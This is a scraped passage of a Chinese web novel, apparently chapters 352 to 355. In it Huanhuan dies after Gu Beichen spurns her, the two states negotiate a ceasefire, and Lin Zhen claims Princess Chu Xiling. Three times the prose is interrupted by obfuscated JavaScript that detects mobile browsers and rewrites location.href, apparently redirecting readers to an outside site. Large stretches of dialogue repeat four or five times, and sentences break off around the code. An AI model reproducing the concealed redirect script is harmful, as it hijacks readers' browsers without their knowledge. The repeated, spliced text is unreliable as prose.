“嬛嬛顾北辰他根本就没喜欢过你从头到尾你不过是他利用的工具他不值得你这般。” 嬛嬛闻言眼中满是不信泪水夺眶而出顺着脸颊滑落洇湿了破旧的枕头:“不不会的.他说过会带我走.他说过我是这世间最漂亮的女子.他答应过我的” “下邳城破的时候他只顾着自己逃跑根本就没有管你你难道还不明白吗?” “为什么.就因为我没有落红吗?呜呜呜呜呜.顾郎” 她的身体剧烈颤抖泣不成声每一声抽噎都似要扯断她最后一丝气息。 林臻心中酸涩他伸手轻轻为嬛嬛捋了捋凌乱的发丝。 多真挚的爱情啊。 后世某些女孩动不动就把分手挂在嘴边把爱情当玩笑一样。 对于这点林臻还是很敬佩她的。 只是她爱错了人。 “我喂你吃点东西吧养好身体我带你回京城一切都重新开始。” 嬛嬛却拼命摇头眼神空洞绝望:“不我没脸回去见陛下我对不起陛下世子求求您让我见顾郎一面就一面我宁愿见完就死去地府赎罪。” 言罢嬛嬛松开林臻的手无力地垂落在床边又昏迷过去。 林臻见状长叹一声直起身来望向窗外灰暗的天空。 “唉多好的姑娘啊。只因爱错了人就落得这般凄惨境地。” 林臻最瞧不起抛妻弃子的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150701|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中对顾北辰的鄙夷又添几分。 为这红颜薄命的悲剧而愤懑不已。 林臻转头看向已经昏迷的嬛嬛心想哪怕只是为了让嬛嬛了却心愿也该给她这个机会。 “我可以让你见顾北辰一面。” 嬛嬛听闻没有任何反应唯有那纤细的手微微动了动 林臻走出厢房命人准备些稀粥给嬛嬛喂下去随即开始准备谈判的事情。 晨曦初露江都城中渐渐热闹起来市井的喧嚣声如往常一般此起彼伏。 经多方商议城内颇具名望的四海茶馆被定为两国谈判之地。 林臻一袭深蓝色锦袍衣摆处绣着精致的云纹腰间束着一条白玉带更衬得他身姿挺拔、气宇轩昂。 林震仙则身着一袭灰袍虽 款式朴素,却难掩那周身散发的沉稳威严之气。 二人带着林大拿、侯春等一众护卫,稳步踏入茶馆。 几乎同一时刻,顾北辰也领着自己的人马现身,他眼神中透着不甘与愤恨,尤其是看向林臻时,眼中瞬间迸射出怨毒的光芒,恨不得把林臻抽筋扒皮。 双方人马在茶馆内碰面,一时间剑拔弩张。 众人的目光在林臻与顾北辰之间来回穿梭。 林臻神色冷峻,嘴角微微上扬,带着一丝若有若无的嘲讽;顾北辰则牙关紧咬,腮帮处肌肉微微鼓起,拳头在身侧紧握,指节泛白。 缓缓移步,双方最终坐在了茶馆中央那张宽大的桌子两端。 桌面光可鉴人,倒映着众人紧绷的面容。 茶馆老板早已提前遣散了其他客人,此刻战战兢兢地候在一旁,亲自为双方斟上茶水。 一番例行的开场白后,谈判正式拉开帷幕。 林臻却突然抬手,目光如炬,声音沉稳有力地说道:“在谈判之前,我有话要说。” 说罢,他朝侯春点点头。 侯春会意,转身出门。 不一会儿,便和几个护卫小心翼翼地抬进了一个担架进来。 而上面躺着的人,正是嬛嬛。 第353章 鲜活的生命就此消逝 三天过去,嬛嬛的状况愈发凄惨。 她身形消瘦得仿若一具骷髅,原本乌黑亮丽的头发如今蓬乱如枯草,面色蜡黄,毫无血色,嘴唇干裂起皮,双眼深陷,眼神空洞而绝望。 身上那件破旧的衣衫松松垮垮地挂着,随着担架的晃动,似是随时都会滑落。 所有人都觉得被抬进来的不是女人,而是一具饿死的女尸。 瞬间,嘈杂声戛然而止,所有人的目光都聚焦在嬛嬛身上。 她虚弱地睁开眼睛,目光在屋内搜寻,待看到顾北辰的那一刻,眼中顿时闪过一抹欣喜,那是濒死之人抓住最后一丝希望的光芒。 她干裂的嘴唇微微颤动,似是想要呼唤对方的名字,却因太过虚弱,只能发出微弱的气息声。 “顾北辰,你认识她么?” 顾北辰理所应当的回答:“不认识。” “呵,狼心狗肺的东西。” “你说什么!” “她是那个不远千里也要奔你而来的嬛嬛。” 顾北辰略微有些震惊。 转头望去,仔细看了看,发现确实是嬛嬛。 但是他没有丝毫怜惜,甚至眉头紧皱,眼中毫不掩饰地流露出嫌弃之色。 “顾郎.”嬛嬛用尽力气终于喊出这一声。 可是顾北辰却下意识地往后缩了缩身子,还抬手扇了扇鼻子,仿佛面前之人是什么污秽之物。 “你怎么变成这副鬼样子。” 林臻说道:“还不是因为你!你夺走她的清白,又弃之不顾,顾北辰,你他妈还是人吗?” 顾北辰被当众呵斥,脸上一阵白一阵红。 他咬咬牙,硬着头皮辩解道:“当时情况危急,我自身难保,哪还顾得上她?再说,又不是我让她来下邳找我的,又不是我主动要睡她的,她的清白早不知道给哪条狗了,我可没有夺走。” 没有落红,顾北辰不相信嬛嬛是完璧之身,所以他一直都特别嫌弃。 可惜这么好的姑娘,就因为这件事情被无情抛弃。 林臻起身,走到嬛嬛面前,蹲下身,尽量用温柔的语气说道:“你看到了吗?这就是你喜欢的男人。” 嬛嬛听闻此言,心中仅存的一丝希望彻底破灭。 她用尽全身力气,挣扎着从担架上爬起来,双手颤抖着伸向顾北辰,想要抓住那曾经给过她温暖与承诺的手:“顾郎.” 她的声音微弱,仿若风中残烛,随时可能熄灭。 然而,顾北辰却面露厌恶,毫 不犹豫地抬手,一把将嬛嬛的手狠狠摔开:“滚开,恶心的东西!” 那冰冷绝情的话语,如同一把利刃,直直刺进嬛嬛的心窝。 嬛嬛瞪大了双眼,眼中满是不可置信与绝望。 她的身体晃了晃,仿若被抽走了最后一丝支撑,直挺挺地向后倒去。 这一倒,便再也没有了动静。 曾经鲜活的生命,就此消逝在众人眼前。 “嬛嬛!”林臻惊呼一声,摸了摸脖颈动脉,发现她已经死了。 他缓缓起身,转头怒视顾北辰:“你这畜生,你必将为此付出代价!” 林震仙亦是气得胡须颤抖,重重地一拍桌子:“顾家怎么就生出你这么个绝情的东西!为求自保,竟连人性都可舍弃,老夫今日算是见识了。” 顾北辰却只是冷笑一声,脸上毫无愧疚之色:“成大事者不拘小节。在这乱世之中,儿女情长不过是绊脚石,若我心软,此刻早已性命不保,谈何大业?” 他的声音冰冷彻骨,回荡在茶馆之中,让人心寒不已。 茶馆内一片死寂,众人皆被这突如其来的变故震惊得说不出话来。 片刻后,林臻强压下心头的悲愤,深吸一口气,重新坐回座位:“好,既如此,咱们便谈正事。” 他眼神冷冽,仿若换了一个人。 顾北辰也收敛了些许情绪,坐正身子,示意林臻开口。 林臻目光扫视全场,缓缓开口:“我乾国的条件如下:楚国需割让江北所有城池,从此以江为界,重新划分两国疆域。将楚国吴县作为两国通商口岸,允许我乾国商贾自由往来,促进两国经济交流。并且,楚国每年都要向我乾国献上粮食三十万石,布匹五千以及各类金银珠宝,以表诚意。此外,每年我乾国皇帝过生日,楚国都要派使臣前来祝贺,遵循属国之礼.” 后面还有一大串的条件,顾北辰越听眉毛越跳。 奶奶的,你干脆把我们楚国变成你乾国的一个省算了。 待林臻说完,他沉默良久,才开口回应:“你的条件,我楚国一条都不答应。” 林臻眉毛轻佻:“哦?你什么意思?” “我大楚虽当下局势不利,却也绝非任你宰割。割让江北城池,等同于自断臂膀;开放通商口岸,恐我楚国商业受损;至于纳贡称臣,更是折损国威,这都绝无可能。” 林臻冷哼一声,话语中带着十足的威胁:“哼,不答应就继续打。我现在就可命令陈宵,率大军在后方偷袭你楚国都城。你觉得,你大楚 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150702|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 能撑多久?” 顾北辰脸色一变。 陈宵这个逼养的在水淹下邳后就偷偷地渡过长江,直插楚国后方。 一旦他偷袭金陵,林震仙正面大军压上,楚国必定腹背受敌,局势不堪设想。 可若答应这些苛刻条件,他又如何向楚霸天交代? 难不成真要像他说的,用这些条件换林臻当女婿? “你敢!”顾北辰咬牙切齿地说道,可声音中的底气却明显不足。 “我有何不敢?”林臻步步紧逼,“你若不想战火重燃,最好掂量掂量,要说打仗,我大乾可不怕你。” “林臻,你当真要跟我楚国鱼死网破!?” 林臻身体后仰,靠在椅背上翘起二郎腿,满面轻松的道:“呵呵呵呵,鱼是一定要死的,但是网不会破,顾北辰,你没有别的选择,必须答应我的条件。” 顾北辰攥拳咬牙。 奶奶的。 林臻这个狗东西,欺人太甚。 既然如此,那就别怪我把你忽悠到楚国来。 届时,看我怎么玩死你。 “好啊,我可以答应你的条款,但是你也要答应我们的要求。” “什么要求?” “做我大楚驸马。” 第354章 我要清秋公主 林臻闻言险些笑出声来。 割让城池,赔付钱粮,现在还要赠送一位楚国公主。 楚霸天啊楚霸天,你怎么会这么没脑子?难道说你认为我娶一位公主,就会跟着公主去楚国为你效力?你也太天真了吧? 还是说这是顾北辰自己的主意? 不可能,顾北辰向来把自己看作最讨厌的人,断不能给自己一点甜头。 看来还是楚霸天失算了。 想到这,林臻把头埋低,肩膀止不住地耸动,险些笑出声来。 林震仙见状,不动声色地轻咳两声,桌下的脚尖轻轻踢了踢林臻。 林臻心领神会,坐直身子,收起玩闹神色,目光迎上顾北辰的怒视。 就见顾北辰咬牙切齿的道:“你笑什么? “我笑楚国皇帝陛下英明神武啊! “那你是答应还是不答应? 林臻不卑不亢道:“我们既为两国修好,娶亲倒也并非不可。只是.这公主得由我挑选。 顾北辰没控制住骂道:“你他妈在这选妃呢? “诶?话可不能这么说,你们让我娶公主,难道还不让我精挑细选一下?咱得讲理吧。 顾北辰一听这话,脸上一阵白一阵红。 讲理? 你林臻带着八牛弩闯我府邸,杀我家臣的时候讲理了吗? 你林臻仗着王府威严,一次一次当众殴打我的时候讲理了吗? 现在跟我说讲理,你他妈什么时候讲过理? 顾北辰心中恨得牙根直痒痒。 可如今楚国战败,形势逼人,自己必须要给楚国争取足够的时间,否则再打下去,对楚国没有一点好处。 况且,楚霸天只说让林臻娶公主,又没说娶哪个,他那老色鬼膝下有三十多个公主呢,利用哪个都一样。 再说,公主这种东西,除了笼络大臣以外不就是用来和亲的么。 顾北辰不知不觉就给自己洗了脑,最后咬咬牙,点头应允:“好,只要你肯应下这门亲事,公主任你选! “爽快!林臻见顾北辰应下,嘴角勾起一抹不易察觉的弧度,趁热打铁说道:“既如此,那我们就在停战书上签字吧。 言罢,林臻将一份早已备好的停战书推至桌前。 又命人取来笔墨,在最下面新增一条——楚国要求,林臻挑选楚国皇室一位公主成婚。 墨迹未干,在烛火映照下泛着幽光。 顾北辰拿起停战书,逐字逐句地审视,生怕掉 坑里。 半个时辰后确认无误,心一横,从牙缝中挤出几个字:“林臻,你可莫要反悔!” 呵,楚国那边可没有林震仙,等你来了,看我怎么弄你! 顾北辰暗自盘算,挥毫泼墨,签上自己的大名。 林臻见状,也不拖沓,潇洒落墨,签上自己的名字。 至此,乾楚大战暂歇。 刚搁下笔,顾北辰像是想起什么,抬头问道:“你想跟哪位公主结婚?说出来,我也好回去禀报陛下。” 虽说楚霸天未指定公主,但三十多个公主的脾性、地位不同,若林臻选了个得宠的,回去少不得又要费一番周折解释。 林臻把自己的那份停战书拿起来,遮住半张脸,只露出一双含着笑意的眼眸,悠悠吐出四个字:“清秋公主。” 顾北辰一听,瞳孔瞬间一缩,脸上血色尽褪。 清秋公主楚惜灵!? 不行,绝对不行。 你把楚惜灵娶走我怎么办?老子还等她从乾国回来呢! 顾北辰当即一拍桌子:“不可能!” “为什么?” “因为.”顾北辰顿了顿,“因为清秋公主是我们陛下最宠爱的公主,绝不会屈尊嫁给你!” 林臻两手一摊,十分委屈地辩解道:“我可以不娶啊,是你非让我娶的!” “你!” 虽然顾北辰已经娶了一位公主,但这种事情哪有嫌多的? 况且楚惜灵自幼聪明伶俐,倾国倾城,乃是楚国赫赫有名的第一美女。 这样的女人,就应该配我这样的人中龙凤。 你林臻算个什么东西!? “林臻,你立刻换人,清秋公主绝不会嫁给你!” “那就不换了,那条款划掉。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155462|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不行!你必须换。” “顾北辰,我给你脸了是不是?”林臻的脸冷了下来,声音低沉道:“本来我想好好跟你谈,但是你三番五次的违约,什么意思?以为我不敢杀你?” “两国交战,不斩来使。更何况我们的条约还在商讨,我怎么违约了?” 林臻拿起停战书晃了晃:“白纸黑字写得清清楚楚,公主由我自己挑选,我现在改主意了,我必须得娶你们一位公主,而且必须是楚惜灵!” 顾北辰本想着待战事平定,自己便向陛下求娶楚惜灵。 虽然楚惜灵短时间内回不来,但是有了楚霸天点头,这就是板上钉钉的事情。 可如今,竟被这林臻这瘪犊子半路 截胡,叫他怎能不怒!? “我再说一遍,不可能!” 顾北辰脱口而出,声音因愤怒而微微颤抖:“清秋公主虽是在乾国为质,但迟早是要回楚国的,我们陛下断不会允许她嫁给你!” 林臻不想跟这种精神病讨论这些。 打脸,有时候就需要干脆一点。 于是林臻轻轻拍了拍手,刹那间,包厢的门被缓缓推开,一抹淡雅的蓝光映入众人眼帘。 楚惜灵莲步轻移,一袭淡蓝色长裙拖地,裙摆绣着的细碎花纹宛如星辰闪烁;腰间束着一条月白色丝带,更衬得纤腰不盈一握;如云的秀发挽成精致的发髻,簪着一支羊脂玉簪,垂下的流苏随着她的步伐轻轻晃动。 她肤若凝脂,眉如远黛,眼眸恰似一泓秋水,波光潋滟间,透着与生俱来的高贵与清冷。 顾北辰整个人如遭雷击,呆立当场。 他怎么也没想到,楚惜灵竟会出现在这里,而且看这情形,她似乎与林臻早有默契。 难道说.自己不在的这段时间里,楚惜灵也成为林臻的女人了吗? 不,不可能!绝对不可能! 这是我喜欢的女人! 顾北辰的目光死死地盯在楚惜灵身上,想要从她脸上寻得一丝不愿、一丝委屈。 可楚惜灵自进门起,便目光坦然地望向林臻,嘴角噙着一抹淡淡的笑意,那是他从未见过的温柔神情。 第355章 夫君,我不认识他,你别误会 “夫君,你好坏哦。” 这一声娇嗔,仿若春日里最轻柔的微风,带着丝丝甜意,却又如同一把利刃,直直刺入顾北辰的心窝,让他瞬间如坠冰窟。 她.她喊林臻什么? 夫君? 难道说两人已经有过肌肤之亲了吗? 可恶,你堂堂楚国公主竟然连婚都没结就跟人家上床,还有没有点羞耻! 顾北辰仿若被雷击一般,猛地一颤。 不行,我绝不能就这么放弃楚惜灵。 不仅仅是她的盛世容颜,还有她的聪明才智,这些以后都能帮助到我对付林臻! 不可以,我顾北辰不可以一而再再而三地输给林臻! 我要得到楚惜灵! 顾北辰豁然起身,双手狠狠撑在桌子上,力道之大让桌面的茶盏都跟着震动。 他瞪大双眼,死死地盯着楚惜灵,那目光中满是痛心疾首,嘶吼道:“清秋公主,是不是林臻这混蛋威胁你了?这个可恶的登徒子,我、我一定会替你报仇!” 此刻的他,全然不顾自己身为楚国大将的身份与仪态,满心满眼只有对楚惜灵的关切,以及对林臻的切齿痛恨。 楚惜灵却仿若未闻他的暴怒,莲步轻移,仪态万千地走到林臻身侧,优雅地落坐在旁边的椅子上。 她轻轻抬手,将一缕垂落耳畔的发丝轻轻别到耳后,动作间尽显淑女之态。 随后,她朱唇轻启,声音婉转却又透着不容置疑的坚定:“你看我像是被威胁的样子吗?” 言罢,她牵起林臻的手,缓缓放在自己那如花瓣般娇嫩的唇边,深深一吻,眼神中满是对林臻的迷恋。 林臻则是嘴角挂着淡淡笑意,回望楚惜灵,二人之间心照不宣。 这一幕落在顾北辰眼中,却如同往眼睛里灌的辣椒水,刺激得他眼眶泛红,双拳紧握,指节因用力而泛白,手背青筋暴起。 完了。 仙女一样的楚惜灵居然也被林臻抢走了! 顾北辰仿若困兽一般,仍不死心,声音带着几分沙哑,几分急切,几分不甘。 “清秋公主,难道你忘了你是因为什么被强行留在乾国的?你在乾国的这段时间,是我在想尽办法要把你救出来!” 没错,顾北辰觉得楚惜灵背叛了他。 就见楚惜灵柳眉轻挑,美目流转间,毫不客气地回击:“那你把我救出来了吗?” 这轻飘飘的一句话,却如同一记重锤,狠狠砸在顾北辰的心口,将他最后的一丝奢望砸得粉碎。 他张了张嘴,想要辩驳,却发现喉咙仿若被堵住一般,发不出半点声音,只能狼狈地站在原地,哑口无言。 楚惜灵见顾北辰这般模样,轻轻瞥了他一眼,便转过头去看向林臻,眼神瞬间柔和下来,轻声说道:“夫君啊,我不认识这个人,你可别误会。” 那语气,分明就是在向心爱之人撒娇嘛!! 林臻微微点头,伸手轻轻拍了拍楚惜灵的手背,目光坚定而温柔:“我当然不会误会,你就算再瞎也不可能会喜欢这个傻子吧?” “哎呀夫君,你说什么呢?傻子在哪呀?”言罢两人不约而同的看向顾北辰,随即哈哈大笑。 “哈哈哈哈哈。” 就连不懂男女感情的林震仙都不由得爽朗大笑。 回想起这么多年顾家跟自己作对的那些时日,现在再看看顾北辰那憋屈的样子。 解气。 真他奶奶的解气。 二人这般打情骂俏,又指桑骂槐的样子彻底激怒了顾北辰。 他的胸膛剧烈起伏着,脑海中走马灯似的闪过过往的种种。 赌场里那个巧笑嫣然、令他心动不已的张俪;英姿飒爽,万人臣服的女帝慕容嫣,还有明明勾引到却始终睡不到的刘书瑶、青竹,等等等等。 甚至顾北辰都记不得自己被林臻夺走了多少东西。 但是他知道,此时此刻,他又有一样东西被夺走了。 楚惜灵。 这个不知道比刘书瑶要漂亮多少倍的女人,再次成为了林臻的人。 为什么.这一切究竟是为什么! 林臻为什么总是要夺走本该属于我的东西! 一时间,顾北辰只觉气血上涌,一股腥甜之气直逼喉头,竟“噗”地喷出一口老血,眼前一黑,身子晃了晃,直直向后倒去,昏迷不醒。 “大帅!!” 楚国将士见状立刻将他扶起来,带着停战书离开茶楼。 林臻始终没有动作,就这么静静的,冷冷的看着顾北辰被抬走。 等楚国的人都出去了,他才对楚惜灵说道:“灵儿,没看出来啊,你演技还挺好。” “呵,什么癞蛤蟆都敢觊觎我,不羞辱他羞辱谁?”楚惜灵得意的说道,“别忘了,我可是看过很多部电影的。” “哦?包括涩涩的吗?” “去你的!”楚惜灵翻个白眼。 这几句话倒是给坐在一边的林震仙整不会了。 老头子诧异地看着两人,眼睛里都是好奇:“涩涩 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 林震仙也收起好奇的目光,捋了捋白胡子,问道:“那你觉得应该怎么办?” “不能让楚国闲下来,我们得给他们制造点麻烦。” “什么麻烦?如何制造?” “当时是内乱啦,我打算在楚国建个帮派。” “哦?你也会玩地下势力这一套?你不是最讨厌拉帮结派的吗?” 林臻抿着嘴,笑得有些腼腆。 “对我们自己国家而言,当然不能有地下势力,但是对待楚国,我可是一点心理负担没有,啊,嘶.” 楚惜灵的手在林臻腰间狠狠掐了一下,疼得他倒吸一口凉气。 “一天到晚就琢磨我楚国,能不能干点正事!” “我这还不叫正事啊?灵儿,乱世里百姓是过不上好日子的,长痛不如短痛,我们还是尽早灭了楚国,统一天下吧。” “周边那么多国家,你非盯着我楚国不放干什么!” “谁让你楚国又孬又有钱啊,不打你们打谁!?” “哇呀呀呀,气死我了,真是岂有此理!”楚惜灵伸出小爪子在林臻身上使劲地掐。 林臻不想还手,于是就各种躲避,很快两人便在房间里追逐起来。 林震仙默默地将头撇到一边,看向窗外。 年轻人啊,就是有活力。 的?那是什么?” “额”林臻不知道该怎么跟林震仙解释,或者说以老爷子那传统的性格根本就没办法解释。 解释完非挨揍不可。 于是他说道:“祖父,此间事了,估计我那便宜老丈人短时间内不会再进攻大乾了,但是我们也不可能大意。现在韩天星带着煊赫门全力辅佐我老丈人,还有顾北辰这个内政高手,想来用不了多久他们定会东山再起。” 